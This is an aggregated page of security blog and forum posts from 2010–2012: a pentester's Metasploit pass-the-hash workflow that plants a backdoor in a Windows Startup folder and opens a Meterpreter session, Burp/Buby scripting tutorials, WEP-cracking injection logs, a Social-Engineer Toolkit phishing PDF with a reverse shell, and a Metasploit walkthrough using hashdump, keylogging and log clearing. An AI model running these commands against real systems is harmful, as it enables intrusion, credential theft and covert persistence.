jetlib.sec

18 items tagged "nbsp nbsp nbsp nbsp nbsp"

Related tags: airodump [+], wpa [+], wlan [+], read [+], cktricky [+], Wireless [+], Newbie [+], Area [+], wpa wpa2 [+], wpa psk [+], channel [+], BackTrack [+], working [+], winexe [+], wifi [+], video [+], vicky devine facing [+], upload [+], tmi [+], thomas werth [+], technisat skystar2 [+], target address [+], strn [+], string type [+], str [+], social engeneering [+], skystar [+], sending [+], sda [+], rport [+], root [+], response status code [+], realtek semiconductor [+], quot quot [+], quot [+], proxy scanner [+], pdf [+], path object [+], partition table [+], new dell [+], n virtuel [+], myscript [+], msg [+], message [+], mac [+], linux source [+], link [+], intel pro wireless 3945 [+], intel pro wireless 2200 [+], intel [+], hope [+], gcc version [+], fragmented [+], file [+], existing [+], est [+], eager little beaver [+], driver [+], dev [+], dell utility [+], dell recovery [+], debutant [+], david kennedy [+], d clodprogressivemeshdeclaration [+], code [+], channel amp [+], capture [+], boot ini [+], blip tv [+], b pci [+], arp requests [+], amp nbsp [+], Support [+], Software [+], Programming [+], Pentesting [+], NON [+], Idiots [+], Howto [+], Hardware [+], Espace [+], Ecke [+], Corner [+], Anfnger [+], 1b channel [+], nbsp [+]

January 23, 2012
11:28
psexec fail? upload and exec instead
» ‎ Carnal0wnage

I ended up having to use the smb/upload_file module on a pentest. I was able to get the local admin hashes but for some reason the psexec module wouldn't get code execution, it would act like it would work but wasn't. So we decided to push a binary, use winexe that was modified to pass the hash to exec the binary as needed. It went something like this... ##################################################
# add a route to the 10.x network thru session 1
##################################################

msf exploit(handler) > route add 10.0.0.0 255.255.255.0 1
[*] Route added

#######################################################
# psexec wouldnt work. AV eating metsvc most likely...
# used smb/upload_file to place a binary on the box
######################################################
msf exploit(handler) > use auxiliary/admin/smb/upload_file
msf auxiliary(upload_file) > info

Name: SMB File Upload Utility
Module: auxiliary/admin/smb/upload_file
Version: 10394
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm

Basic options:

Name Current Setting Required Description
---- --------------- -------- -----------
LPATH yes The path of the local file to upload
RHOST yes The target address
RPATH yes The name of the remote file relative to the share
RPORT 445 yes Set the SMB service port
SMBSHARE C$ yes The name of a writeable share on the server

Description:
This module uploads a file to a target share and path. The only
reason to use this module is if your existing SMB client is not able
to support the features of the Metasploit Framework that you need,
like pass-the-hash authentication.

msf auxiliary(upload_file) > set SMBUser Administrator
SMBUser => Administrator
smsf auxiliary(upload_file) > set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
SMBPass => aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
msf auxiliary(upload_file) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(upload_file) > set LPATH /home/chris/msf3/msf_backdoor.exe
LPATH => /home/chris/msf3/msf_backdoor.exe
msf auxiliary(upload_file) > set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"
RPATH => C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe
msf auxiliary(upload_file) > run
[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...
[*] Connecting to the server...
[*] Mounting the remote share \\1.2.3.4\C$'...
[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] Auxiliary module execution completed

################################################
#Set up a portforward to talk to hosts via SMB
################################################

meterpreter > portfwd add -l 445 -p 445 -r 1.2.3.4
[*] Local TCP relay created: 0.0.0.0:445 <-> 1.2.3.4:445

#####################################################################
# Use winexe with pass the hash to get cmd shell and run the binary
#####################################################################

user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"
Password for [WORKGROUP\administrator]:
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : inside.company.com
IP Address. . . . . . . . . . . . : 1.2.3.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 1.2.3.254

C:\WINDOWS\system32>
C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0007-B088

Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

01/13/2012 03:55 PM .
01/13/2012 03:55 PM ..
01/13/2012 03:55 PM 13,616 msf_backdoor.exe
1 File(s) 13,616 bytes
2 Dir(s) 241,661,345,792 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>msf_backdoor.exe
msf_backdoor.exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>

[*] 5.5.5.5:4889 Request received for /INITM...
[*] 5.5.5.5:4889 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 5 opened (5.5.5.5:443 -> 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012

Tags: nbsp upload file read target-address nbsp-nbsp-nbsp-nbsp-nbsp winexe
May 15, 2011
11:44
Buby Script Basics Part 6
» ‎ Carnal0wnage

√ evt_http_message
√ evt_scan_issue
√ doActiveScan
√ doPassiveScan
√ excludeFromScope
√ includeInScope
√ isInScope
√ issueAlert
√ sendToIntruder
√ sendToRepeater
√ sendToSpider
√ makeHttpRequest

In this portion of the Buby Script Basics series (Part 6), we cover the sendToSpider and makeHttpRequest methods.
As always, you can find sample scripts for all of the code in this series under the examples directory of the buby-script repo located Here.
The script make_http_request.rb (under examples directory) will be used to demonstrate makeHttpRequest and sendToSpider.
$burp.get method=============
Line 24 - We defined the method ($burp.get) which takes a url value
Lines 25-27 - If the url is NOT in scope, we send this to the spider function
Line 28 - We used regexp to extract the path of the url
Line 29 - We instantiate an object called 'path' which is the same as path_match
Line 30 - An object called prefix is instantiated, this is where we extract http:// or https://
Line 31 - uri is basically the url minus the prefix (http:// or https://)
Line 32 - Prior to removing a port (such as url:9000), we extrapolate either an IP or hostname
Line 33 - Same deal for port, prior to removing the colon, we create a presub_port object which is the colon + port number.
Line 34 - The port object is created, this is presub_port cast to String type and the colon removed
Line 35 - pre object equals true or false depending on whether or not the prefix is http or https.
Line 36 - rpath (remote path) is the path object. If no path was specified it defaults to '/'.
Line 37 - host is cast to a String type and the presub_port and rpath values are stripped (gives us the true host value).
Line 38 - req_str object is the value of get_req (the method we discuss below).
Line 39 - res object is instantiated and it is the value of the response when makeHttpRequest call is made. 'res' will be a String type.
Line 40 - We print 'res' to the console

get_req method
============

Line 10 - The method get_req is defined, takes three parameters. Host, Port and Path values.

Line 11 - 'str' object is created and cast as a String type.

The important lines here are 12, 13 and 20.

Line 12 - We take the path value and insert it into the first line of the request string.

Line 13 - host and port are concatenated so that www.example.com and 80 become one string value (www.example.com:80)

Line 20 - Notice how we append two newline characters ("\n\n") versus only one newline character like the rest of the string lines. This is important because Burp will error out and fail to send the request if this is missing. This is how Burp differentiates the Headers & Body and even if the body is missing Burp still needs the marker (two newlines) to mark the end of the headers section and understand the request.

That is it, go ahead and try the script out and when you run it make sure you choose the -i or interactive option. Example:

$ jruby -S buby -i -B burp_pro.jar -r make_http_req.rb
At the console, to run the this method, you can type the following (examples):
$burp.get('http://www.example.com')
$burp.get('http://www.example.com:9050')
$burp.get('http://www.test.com:3333/test/test.aspx?error=error.jpg')

Tags: nbsp-nbsp-nbsp-nbsp-nbsp path-object string-type cktricky
May 11, 2011
3:28
Buby Script Basics Part 3
» ‎ Carnal0wnage
In part 2 of this series we covered the "evt_proxy_message" method. In part 3 of this series we will cover the two methods shown below which have "checks" next to them.

√ evt_http_message
√ evt_scan_issue
   doActiveScan
   doPassiveScan
   excludeFromScope
   includeInScope
   isInScope
   issueAlert
   makeHttpRequest
   sendToIntruder
   sendToRepeater
   sendToSpider
So let's cover each individually with brief explanation and a code example.
You can find sample scripts for each of these under the examples directory of the buby-script repo located Here.

EVT_HTTP_MESSAGE
---------------------------------

The following code will allow you to obtain methods exposed by the message_info object (which is a class):

The 3 separate objects that make up the param are:

tool_name => This is a string value, it is the name of the tool for which the message originated. Examples include proxy, scanner and repeater.

is_request => Boolean value (true/false), this returns true when it is a request and false when a response.

message_info => This is a class. It is an instance of the IHttpRequestResponse Java class. So there are methods such as get_comment, set_comment and getUrl exposed.

An example of using evt_http_message can be seen here (code):

....and the result

w00t!
So what does the code actually do?
Lines 1 and 2 - Define the method and separate param into 3 separate objects.
Lines 3-5Ln 3 If the tool the message originated from was the spider and this is NOT a request proceed to Ln 4.Ln4 If the response status code is 200 (OK), then move to Ln 5.Ln 5 Puts "Yo, we received a 200 FTW!" to the console.
Lines 6-9 Are closing statements/method and passing the param back up to the superclass method.

You can find another example using this method in the zlib_inflate.rb script.

EVT_SCAN_ISSUE
---------------------------

The following code will allow you obtain methods exposed by the issue object (which is a class):

Only one object is exposed, it is a class, it is called issue. Some of the methods exposed by this class are

-issue_name
-severity
-confidence
-protocol
-host
-url
-port
-issue_detail
-issue_background
-remediation_detail
-remediation_background

The following code:

...produces:

Lets step through the code

1. def prnt(*objs)
2. strn, meth = objs
3. str = ''
4. str << "\n#{strn}\n"
5. str << '=' * strn.length + "\n\n"
6. str << "#{meth}\n"
7. puts str
8. end

Lines 1-2 - Defines the method (prnt) and separates objs into two objects (strn, meth).

Lines 3-4 - This defines a string instance variable (str), and then proceeds to put the strn object onto it.

Lines 5-7 - The length of strn gets multiplied by '=' so that we can create the following visual....

Example:

something
=========

...then we push meth onto the string and then we "puts" or print it to the console.

Lets step through the second method "hm_prnt".

1. def hm_prnt(*objs)
2. strn, meth = objs
3. str = ''
4. str << "\n#{strn}\n"
5. str << '=' * strn.length + "\n\n"
6. meth.each do |itm|
7. str << "#{itm.request_headers}\n"
8. str << "#{itm.request_body}\n"
9. str << "#{itm.response_headers}\n"
10. str << "#{itm.response_body}\n"
11. end
12. puts str
13 . end

Lines 1-2 - Defines the method (prnt) and separates objs into two objects (strn, meth).
Lines 3-4 - This defines a string instance variable (str), and then proceeds to put the strn object onto it.
Lines 6-10 - We take the meth object which is an Array, we iterate thru each item in the array, convert it to a string while calling the four methods it exposes (request_headers, request_body, response.headers, and response_body). Now these methods all belong to http_messages and itm really represents the http_messages class. So when we are iterating thru this array we are really iterating thru an array containing a bunch of http_messages classes. Hopefully that makes sense.

Finally, we need to discuss the $burp.evt_scan_issue method.

1. def $burp.evt_scan_issue(issue)
2. meth_arry = [
3. 'issue_name',
4. 'severity',
5. 'confidence',
6. 'protocol',
7. 'host',
8. 'url',
9. 'port',
10. 'issue_detail',
11. 'issue_background',
12. 'remediation_detail',
13. 'remediation_background',
14. ]
15.
16. meth_arry.each do |meth|
17. prnt("#{meth}", "#{issue.send("#{meth}")}")
18. end
19.
20. hm_prnt('http_messages', issue.http_messages)
21.
22. end

Line 1 - Defines the method ($burp.evt_scan_issue) and instantiates the "issue" object.

Lines 2-14 - Creates an Array called "meth_array" which consists of methods associated with the issue object instantiated on line 1.

Lines 16-18 - Iterates thru the meth_arry we created on line 2 picking out each method and then sends the method name and the method itself to prnt.

Line 20 - The http_message method attached to the issue object isn't in the meth_arry because it can't be called directly and converted to a string. This is because http_message is a an array of classes. Each class has it's own methods. So, we made a special prnt method for it called hm_prnt.

Well that is all for Part 3 of this series. Part 4 will cover some of the other methods listed in the first part of this post. If you have any feedback please provide it so that the series can be improved upon.

Happy Hacking,

~cktricky

Tags: nbsp strn str response-status-code nbsp-nbsp-nbsp-nbsp-nbsp proxy-scanner cktricky
May 08, 2011
14:33
Buby Script Basics Part 2
» ‎ Carnal0wnage

In part 1 of this series, we've discussed a few options via the command line. In this part of the series, we will focus on actually writing a script. If you remember, to run the script you can type:

jruby -S buby -B burp.jar -r myscript.rb

**(myscript.rb is your buby script)**

I've provided some sample scripts Here .

Lets cover one of the most used methods (in my opinion/experience) exposed by buby called "evt_proxy_message". I'd like to cover some of the objects exposed by this method and to best accomplish this task we will step through the cookie_snatch.rb script located Here.

So here is the code from "cookie_snatch.rb"

def $burp.evt_proxy_message(*param)
msg_ref, is_req, rhost, rport, is_https, http_meth, url, resourceType, status, req_content_type, message, action = param
  file = ('cookiez.txt')
  prefix = is_https ? "https://" : "http://"
  rurl = "#{prefix}://#{rhost}:#{rport}"
  if is_req == false
   spmsg = message.split("\n\n")
   short_msg = "#{spmsg[0]}"
   mitem = short_msg.match(/^Set-Cookie:.+$/)
   if $burp.in_scope?(rurl)
   if !mitem.nil?
   File.open(file, "a") {|f| f.write("#{mitem}")}
   end
   end
  end
super(*param)
end

On the second line you see that we convert *param to 12 separate objects. Here is a brief explanation of each:
msg_ref===== This is the request/response number. It is nothing more than a tracking number.
is_req====This is a boolean value, returns either true or false. If it is a request, this returns true, else, false.
rhost===This is your target's hostname ONLY. It does NOT include the prefix (http/s), rport (80/443), or path (/directory/something.php).
rport===This is the remote port value (80/443/etc)
is_https======Returns true when https and false when http.
http_meth=======This is the method (GET/POST/etc)
url==This is the path portion of a URL. Not the full URL itself.Example: If the target was http://www.target.com/mydir/test.aspx then url would be /mydir/test.aspx
resourceType==========The filetype of the requested resource, or nil if the resource has no filetype
status====The HTTP status code returned by the server. This value is nil for request messages.
req_content_type============String value, content-type header returned by the server. (nil for requests)
message======String value, the entire message, regardless of request/response, contains headers and body.
action====There are 4 types of actions ACTION_FOLLOW_RULES (0, this is the default)ACTION_DO_INTERCEPT (1, direction to intercept a msg)ACTION_DONT_INTERCEPT (2, don't intercept the msg)ACTION_DROP (3, drops the in/outbound msg)
Example of using action (folks seem to have some confusion at times regarding this):
if rhost == "www.example.com action[0] = 2end
The above code logic is, if the rhost value is www.example.com then don't intercept. The full code can be found in dont_intercept.rb in the Buby-Scripts repo.
Back to the code:
Lines 3-5
Ln 3 is assigning cookiez.txt to 'file'.
Ln 4 is evaluating the boolean value behind is_https?. If it is true then prefix = https:// and if false, http://.
Ln 5 is creating a rurl object which consists of a string concatenation of prefix, rhost and rport.
Lines 6-9
Ln 6 is evaluating if is_req equals false (meaning it is a response). So unless it is a response, the code following it won't be run.
Ln 7 spmsg (split message) is the message string split by two newlines. This separates the headers from the body. Array item 0 of spmsg (spmsg[0]) is going to be the headers and spmsg[1] will be the body.
Ln 8 short_msg is assigned to spgmsg[0], converted to a string.
Ln 9 assigns mitem to a the Set-Cookie portion of the response header.
Lines 10-12
Ln 10 uses the method in_scope?, which takes the full URL. This is the reason for creating the rurl object on line 5. If the response is from a site that is in scope, we evaluate the next 2 lines of code.
Ln 11 basically if mitem (the Set-Cookie key, value) isn't nil, then we evaluate line 12.
Ln 12 Open the file (file is created on line 3 and it is cookiez.txt), and write to it. Because we have assigned "a" instead of "w", the cookies will be appended versus overwritten.
The rest of the code terminates "if" statements and sends the params up to the super class's version of evt_proxy_msg. This super(*params) can be nice when you'd like to modify data prior to it's arrival to Burp.
Okay, well hopefully this was a good start for those interested in extending Burp's capabilities.
Part 3 in this series will cover other useful methods exposed by Buby.
~Happy Hacking
cktricky

Tags: nbsp msg message nbsp-nbsp-nbsp-nbsp-nbsp rport myscript cktricky

April 05, 2010
13:26
Very Low Connection Power
» ‎ remote-exploit & backtrack

I am having the same problem as the person in a post in the "wireless" area (thread name: Low #/s) - that is, a problem with gathering enough packets.

I'm on a brand new Dell Studio 1555 (core i5, 4GB RAM) with an Intel wireless card with an Intel 4965/5xxx chipset (according to airmon-ng). From what I've heard, the card only recently got its driver added to the kernel, but it works fine with bt4 out of the box. I've run injection tests, and they have worked fine.

Here is the output from airmon-ng:

Code: Interface Chipset Driver wlan0 Intel 4965/5xxx iwlagn - [phy0]

I first stop my wireless:

Code: root@bt:~# airmon-ng stop wlan0 Interface Chipset Driver wlan0 Intel 4965/5xxx iwlagn - [phy0] (monitor mode disabled) I then enable it with monitor mode:

Code: root@bt:~# airmon-ng start wlan0 6 Interface Chipset Driver wlan0 Intel 4965/5xxx iwlagn - [phy0] (monitor mode enabled on mon0) I test injection and it works fine.

I then start collecting packets, and find that I have a really low rate, and really low power (generally around -30) so I try to do packet injection. I get the "Association successful :-)" notification and plenty of ARP requests, and it says that I'm sending out loads of packets.

The rate of collection, however, remains completely unchanged.

I then go back to test injection, and it no longer works.

In other words, it's completely identical to the problem that the person in the thread I mentioned above has.

Help would be greatly appreciated.
Tags: nbsp intel wlan arp-requests nbsp-nbsp-nbsp-nbsp-nbsp new-dell Newbie Area
March 30, 2010
13:11
Low #/s
» ‎ remote-exploit & backtrack

I tried to crack a WEP network with BackTrack4 and my VAIO Z laptop.

My wireless card was:
Code: root@bt:~# airmon-ng Interface Chipset Driver wlan0 Intel 4965/5xxx iwlagn - [phy0] I changed it to monitor mode:
Code: root@bt:~# airmon-ng start wlan0 6 Interface Chipset Driver wlan0 Intel 4965/5xxx iwlagn - [phy0] (monitor mode enabled on mon0) And then I test injection:
Code: root@bt:~# aireplay-ng -9 mon0 20:59:17 Trying broadcast probe requests... 20:59:17 Injection is working! 20:59:19 Found 1 AP 20:59:19 Trying directed probe requests... 20:59:19 00:23:F8:84:31:1B - channel: 6 - 'Shatel' 20:59:21 Ping (min/avg/max): 1.436ms/3.492ms/7.525ms Power: -57.70 20:59:21 30/30: 100% Then I started collecting IVs:
Code: root@bt:~# airodump-ng -c 6 --bssid 00:23:F8:84:31:1B -w output mon0 CH 6 ][ BAT: 21 mins ][ Elapsed: 15 mins ][ 2010-03-11 20:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:23:F8:84:31:1B -21 100 8943 178 0 6 54 WEP WEP OPN Shatel BSSID STATION PWR Rate Lost Packets Probes 00:23:F8:84:31:1B 00:24:D6:11:62:18 0 0 - 1 0 411384 And then I made a fake authentication:
Code: root@bt:~# macchanger -s mon0 Current MAC: 00:24:d6:11:62:18 (unknown) root@bt:~# aireplay-ng -1 6000 -o 1 -q 10 -e Shatel -a 00:23:F8:84:31:1B -h 00:24:D6:11:62:18 mon0 21:17:45 Waiting for beacon frame (BSSID: 00:23:F8:84:31:1B) on channel 6 21:17:45 Sending Authentication Request (Open System) [ACK] 21:17:45 Authentication successful 21:17:45 Sending Association Request [ACK] 21:17:45 Association successful :-) (AID: 1) 21:17:55 Sending keep-alive packet And finally I started injection:
Code: root@bt:~# aireplay-ng -3 -b 00:23:F8:84:31:1B -h 00:24:d6:11:62:18 mon0 20:36:51 Waiting for beacon frame (BSSID: 00:23:F8:84:31:1B) on channel 6 Saving ARP requests in replay_arp-0311-203651.cap You should also start airodump-ng to capture replies. Read 10150 packets (got 45 ARP requests and 2 ACKs), sent 424647 packets...(500 pps) But injection didn't make any change in the speed of collecting packets(#/s).

I did this again:
Code: root@bt:~# aireplay-ng -9 mon0 21:22:49 Trying broadcast probe requests... 21:22:51 No Answer... 21:22:51 Found 3 APs 21:22:51 Trying directed probe requests... 21:22:51 00:27:19:D8:B0:C2 - channel: 6 - 'TP-LINK_D8B0C2' 21:22:57 0/30: 0% 21:22:57 00:23:F8:84:31:1B - channel: 6 - 'Shatel' 21:23:03 0/30: 0% 21:23:03 00:80:48:3D:12:27 - channel: 6 - 'mecom.wifi.BG' 21:23:09 0/30: 0% and it seems that injection is not working!

What should I do?! How can I collects IVs faster?!(now, it takes days[or weeks!] to collect enough packets!)

Thanks!
Tags: nbsp code root mac read link nbsp-nbsp-nbsp-nbsp-nbsp 1b-channel airodump Wireless
March 20, 2010
15:27
social engeneering toolkit mass email attack question
» ‎ remote-exploit & backtrack

hello all
i am trying to get remote access to my main computer on my network using the set email attack.
however when i open the pdf i do not get command line access!
see below:
thanks in advance for the advice
yoma

Code: .M"""bgd `7MM"""YMM MMP""MM""YMM ,MI "Y MM `7 P' MM `7 `MMb. MM d MM `YMMNq. MMmmMM MM . `MM MM Y , MM Mb dM MM ,M MM P"Ybmmd" .JMMmmmmMMM .JMML. [---] The Social-Engineer Toolkit (SET) [---] [---] Written by David Kennedy (ReL1K) [---] [---] Version: 0.4.1 [---] [---] Codename: 'Rise of the Pink Pirate' [---] [---] Report bugs to: davek@social-engineer.org [---] [---] Check out: http://social-engineer.org [---] [---] Homepage: http://www.secmaniac.com [---] [---] Tutorial: http://offsec.com/metasploit-unleashed [---] [---] Unpublished Java Applet by: Thomas Werth [---] Welcome to the Social-Engineer Toolkit (SET). Your one stop shop for all of your social-engineering needs.. Select from the menu on what you would like to do: 1. Spear-Phishing (Email) Attacks 2. Website Attack Vectors 3. Update the Metasploit Framework 4. Update the Social-Engineer Toolkit 5. Create a Payload and Listener 6. Help, Credits, and About 7. Exit the Social-Engineer Toolkit Enter your choice: 1 Welcome to the SET E-Mail attack method. This module allows you to specially craft email messages and send them to a large (or small) number of people with attached fileformat malicious payloads. If you want to spoof your email address, be sure "Sendmail" is installed (it is installed in BT4) and change the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON. There are two options, one is getting your feet wet and letting SET do everything for you (option 1), the second is to create your own FileFormat payload and use it in your own attack. Either way, good luck and enjoy! 1. Perform a Mass Email Attack 2. Create a FileFormat Payload 3. Create a Social-Engineering Template 4. Return to Main Menu. Enter your choice: 1 Select the file format exploit you want. The default is the PDF embedded EXE. ********** PAYLOADS ********** 1. Adobe Collab.collectEmailInfo Buffer Overflow 2. Adobe Collab.getIcon Buffer Overflow 3. Adobe JBIG2Decode Memory Corruption Exploit 4. Adobe PDF Embedded EXE Social Engineering 5. Adobe util.printf() Buffer Overflow 6. Custom EXE to VBA (sent via RAR) (RAR required) 7. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun Enter the number you want (press enter for default): 4 You have selected the default payload creation. SET will generate a normal PDF with embedded EXE. 1. Windows Reverse TCP Shell 2. Windows Meterpreter Reverse_TCP 3. Windows Reverse VNC 4. Windows Reverse TCP Shell (x64) 5. Windows Meterpreter Reverse_TCP (X64) 6. Windows Shell Bind_TCP (X64) Enter the payload you want (press enter for default): 1 Enter the port to connect back on (press enter for default):[*] Defaulting to port 443...[*] Generating fileformat exploit...[*] Please wait while we load the module tree...[*] Started reverse handler on 192.168.1.3:443[*] Reading in 'src/msf_attacks/form.pdf'...[*] Parsing 'src/msf_attacks/form.pdf'...[*] Parsing Successful.[*] Using 'windows/shell_reverse_tcp' as payload...[*] Creating 'template.pdf' file...[*] Generated output file /pentest/exploits/SET/src/program_junk/template.pdf [*] Payload creation complete.[*] All payloads get sent to the src/msf_attacks/template.pdf directory[*] Payload generation complete. Press enter to continue. As an added bonus, use the file-format creator in SET to create your attachment. Right now the attachment will be imported with filename of 'template.whatever' Do you want to rename the file? example Enter the new filename: moo.pdf 1. Keep the filename, I don't care. 2. Rename the file, I want to be cool. Enter your choice (enter for default): 1 Keeping the filename and moving on. Social Engineer Toolkit Mass E-Mailer There are two options on the mass e-mailer, the first would be to send an email to one indivdual person. The second option will allow you to import a list and send it to as many people as you want within that list. What do you want to do: 1. E-Mail Attack Single Email Address 2. E-Mail Attack Mass Mailer 3. Return to main menu. Enter your choice: 1 Do you want to use a predefined template or craft a one time email template. 1. Pre-Defined Template 2. One-Time Use Email Template Enter your choice: 1 Below is a list of available templates: 1: LOL...have to check this out... 2: Dan Brown's Angels & Demons 3: Baby Pics 4: New Update 5: Computer Issue 6: Status Report 7: Strange internet usage from your computer Enter the number you want to use: 1 Enter who you want to send email to:(my email) What option do you want to use? 1. Use a GMAIL Account for your email attack. 2. Use your own server or open relay Enter your choice: 1 Enter your GMAIL email address: (same email again) Enter your password for gmail (it will not be displayed back to you): SET has finished deliverying the emails. Do you want to setup a listener yes or no: yes _ _ _ | | (_)_ ____ ____| |_ ____ ___ ____ | | ___ _| |_ | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _) | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__ |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___) |_| =[ metasploit v3.3.4-dev [core:3.3 api:1.0] + -- --=[ 535 exploits - 254 auxiliary + -- --=[ 198 payloads - 23 encoders - 8 nops =[ svn r8859 updated today (2010.03.20) resource (src/program_junk/meta_config)> use exploit/multi/handler resource (src/program_junk/meta_config)> set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp resource (src/program_junk/meta_config)> set LHOST 192.168.1.3 LHOST => 192.168.1.3 resource (src/program_junk/meta_config)> set LPORT 443 LPORT => 443 resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai ENCODING => shikata_ga_nai resource (src/program_junk/meta_config)> set ExitOnSession false ExitOnSession => false resource (src/program_junk/meta_config)> exploit -j[*] Exploit running as background job. [*] Started reverse handler on 192.168.1.3:443[*] Starting the payload handler... msf exploit(handler) >[*] Command shell session 1 opened (192.168.1.3:443 -> 192.168.1.4:3768) msf exploit(handler) >
Tags: nbsp quot pdf david-kennedy thomas-werth d-clodprogressivemeshdeclaration quot-quot social-engeneering nbsp-nbsp-nbsp-nbsp-nbsp Pentesting
March 19, 2010
4:28
[Video] Messing with Metasploit
» ‎ remote-exploit & backtrack

Links
Watch on-line: http://g0tmi1k.blip.tv/file/3308154
Download :http://www.mediafire.com/?m12dyljmmje
Commands:http://pastebin.com/9kygLiRe
What is this?
A basic guide to show how powerful the metasploit framework is!
>Setup & run a exploit.
>Use nmap to scan.
>Use db_autopwn (to exploit the masses!)
>Gather information about the target
>Read, download and upload files
>Run scripts
>Create & use a backdoor.

What do I need?
> Metasploit Framework
> (Vulnerable) target (e.g. Windows XP SP0/1)

Software
Name: Metasploit
Version: 3.3.3
Home Page: http://www.metasploit.com/
Download Link: http://www.metasploit.com/framework/download/

Commands:
Code: cd /pentest/exploits/framework3/ ./msfconsole db_create g0tmi1k db_hosts db_add_host 10.0.0.4 db_hosts #show ##Show everything! [wasn't in video] use windows/smb/ms06_040_netapi #use windows/dcerpc/ms03_026_dcom ##Different exploit, didn't find it as reliable #set paypload windows/shell_bind_tcp ##Could do a windows shell (not as powerful as meterpreter) #set payload windows/meterpreter/reverse_tcp ##Could do a meterpreter (but we do it later!) set payload windows/vncinject/bind_tcp show options set lhost 10.0.0.6 show options exploit db_del_host 10.0.0.4 db_hosts db_nmap -n 1O 10.0.0.1-5 db_hosts db_autopwn -t -p -e sessions -l sessoins -i 1 sysinfo #ipconfig ##IP information [wasn't in video] idletime ps kill [number] getuid #migrate // getsystem // use priv ##If the exploit doesn't have system privileges! [wasn't in video] hashdump # execute ## Runs a command [wasn't in video] shell pwd ls cd C:/ ls mkdir g0tmi1k ls cd g0tmi1k cat C:/boot.ini download C:/boot.ini /tmp/boot.ini ./msfpayload windows/meterpreter/reverse_tcp lhost=10.0.0.6 X > /tmp/g0tmi1k.exe upload /tmp/g0tmi1k.exe C:/g0tmi1k/g0tmi1k.exe run getgui -u g0tmi1k -p haveyou run keylogrecorder ## More scripts: /pentest/exploits/framework3/scripts/meterpreter #run scraper ##Gets information about target, dumps reg etc[wasn't in video] #run vnc ##Setups VNC [wasn't in video] #run uploadexec ##Upload and run a program [wasn't in video] clearev exit -y exit -y ##Start fresh for the backdoor! ./msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.6 exploit ## Somehow run: C:\g0tmi1k\g0tmi1k.exe
Notes:
Made a few slip-ups in the video and something went wrong with keylogrecorder.
This is only the basic stuff - it can do ALOT more! See commands for a few more basic things which I didnt do.

Song: Vicky Devine - Facing The Truth
Video length: 9:07
Capture length: 29:20

Blog Post: http://g0tmi1k.blogspot.com/2010/03/...etasploit.html
Forum Post:

~g0tmi1k
Tags: nbsp video tmi read vicky-devine---facing blip-tv boot-ini nbsp-nbsp-nbsp-nbsp-nbsp BackTrack Howto
March 04, 2010
3:03
AutoHS version 0.3
» ‎ remote-exploit & backtrack

hello @ allz

Last night i did some cleaning and optimizing operations on my autohs script, wpa auto handshake capture tool using aircrack suite

it's nothing special or new, but here's the output of the thing

Code: ############################################### # # # AUTO WPA HANDSHAKE CAPTURE V0.3 # # # # CODED BY SHAMANVIRTUEL / SV2K10 # # # # GREETZ TO AIRCRACK-NG TEAM # # # ############################################### PSYCO OPTIMIZER NOT FOUND !!!! KILLING ALL EXISTING AIRODUMP-NG THREADS... KILLING ALL EXISTING AIRCRACK-NG THREADS... PURGING EXISTING OUTPUT FILES... SETTING CARD ON RIGHT CHANNEL & RATE... LAUNCHING BACKGROUND CAPTURE TASK... LAUNCHING ATTACK, PLEASE BE PATIENT... HANDSHAKE CAPTURED & SAVED IN FILE (TRIED 1 TIMES) : /media/disk/handshake-00-24-01-C7-C9-16.cap HOPE YOU HAD PHUN WITH AUTOHS GREYHATLY YOURS SH@M@N VIRTUEL You can grab the code here :

http://svtoolz.googlecode.com/files/autohs.py
Tags: nbsp existing capture hope n-virtuel nbsp-nbsp-nbsp-nbsp-nbsp airodump channel-amp Programming
February 12, 2010
7:45
A Tricky One ;-)
» ‎ remote-exploit & backtrack

Hi,

I am relatively new to these forums, and somewhat new to Backtrack.
I was wondering if somebody on here could help me with my Partition Table. I was trying to re-arrange it and make it neater and cleaner.

But, somehow Partition Magic in Vista told me it was all messed up and wanted to know if I wanted that fixed. So as an eager little beaver, who wasn't thinking I hit the "Sure why not" button. =/
Bad mistake.
@ first Windows wouldn't boot, it recognized my custom boot screen then hit a blue screen and cycled. Come to find out my Partition table got screwed up even more so i fixed it from having two boot flag's and dup.li' Entry's along with writing a new MBR & fixing the MFT down to this.

> Fdisk -ul
